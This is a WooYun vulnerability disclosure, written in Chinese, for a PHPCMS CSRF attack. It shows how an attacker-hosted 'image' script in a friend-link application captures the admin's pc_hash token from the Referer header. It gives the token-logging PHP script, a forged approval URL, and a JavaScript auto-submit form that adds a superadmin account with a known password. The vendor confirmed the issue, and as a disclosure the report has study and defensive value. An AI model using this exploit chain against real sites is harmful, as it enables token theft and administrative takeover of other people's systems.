当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061443

漏洞标题:PHPCMS 组合技进行CSRF攻击

相关厂商:phpcms

漏洞作者: phith0n

提交时间:2014-05-20 15:05

修复时间:2014-08-18 15:06

公开时间:2014-08-18 15:06

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-20: 细节已通知厂商并且等待厂商处理中
2014-05-21: 厂商已经确认,细节仅向厂商公开
2014-05-24: 细节向第三方安全合作伙伴开放
2014-07-15: 细节向核心白帽子及相关领域专家公开
2014-07-25: 细节向普通白帽子公开
2014-08-04: 细节向实习白帽子公开
2014-08-18: 细节向公众公开

简要描述:

众所周知phpcms登录后台后,有一个pc_hash作为防范CSRF的TOKEN,且看我怎么利用一个组合技来进行CSRF攻击的。

详细说明:

phpcms安装好后默认允许申请友情链接。而且友情链接分两种:文字链接和图片链接。
其中图片链接,管理员在审核的时候,图片会直接显示后台。而后台url中是包含这个pc_hash的,我们就能在图片的referer里找到这个pc_hash~~岂不妙哉?
利用方法见漏洞证明。

漏洞证明:

首先我在本地简单写了一个获得referer的脚本:

<?php
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
file_put_contents('referer.txt', $referer);
?>


然后把这个脚本作为图片地址,申请友链:

07.jpg


管理员在后台访问“友情链接”功能的时候,我已经窃取了其pc_hash:

08.jpg


实战中,我们还可以把这个做的像一点。比如用php输出一张真正的logo,这样不但获得了pc_hash,而且还像一个真的申请友链的请求。
这时我本地已经获得了referer了:

09.jpg


那么,获得了pc_hash可以干什么?当然是CSRF了,举个简单的例子。
我可以构造如下链接:

http://localhost/phpcms/index.php?m=link&c=link&a=check&linkid=4&pc_hash=lrP5dK


作为图片欺骗管理员浏览,就能把id=4的友情链接审核通过。也就是我刚才申请的那个友链。
再来一个厉害的。

gum = function(){
var u = {
'version':'1140213',
'domain':'{{domain}}',
'backinfo':{},
'author': 'https://github.com/quininer/gum'
};
u.e = function(code){try{return eval(code)}catch(e){return ''}};
u.name = function(names){
return document.getElementsByTagName(names);
};
u.html = function(){
return u.name('html')[0]
||document.write('<html>')
||u.name('html')[0];
};
u.addom = function(html, doming, hide){
(!doming)&&(doming = u.html());
var temp = document.createElement('span');
temp.innerHTML = html;
var doms = temp.children[0];
(hide)&&(doms.style.display = 'none');
doming.appendChild(doms);
return doms;
};
u.post = function(url, data){
var form = u.addom("<form method='POST'>", u.html(), true);
form.action = url;
for(var name in data){
var input = document.createElement('input');
input.name = name;
input.value = data[name];
form.appendChild(input);
};
form.submit();
};
return u;
}();
gum.post('http://target/index.php?m=admin&c=admin_manage&a=add', {
'info[username]': 'test',
'info[password]': '123123',
'info[pwdconfirm]': '123123',
'info[email]': '[email protected]',
'info[realname]': '',
'info[roleid]': '1',
'dosubmit': '提交',
'pc_hash': 'lrP5dK'
});


把pc_hash修改为你获得的pc_hash,然后将以上代码放在任何html页面中(不限域名),诱使管理员访问,即可为目标站点增加一个用户名为test,密码为123123的超级管理员账户:

10.jpg

修复方案:

没啥好建议。别把pc_hash放在url中。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-05-21 15:55

厂商回复:

感谢反馈。

最新状态:

暂无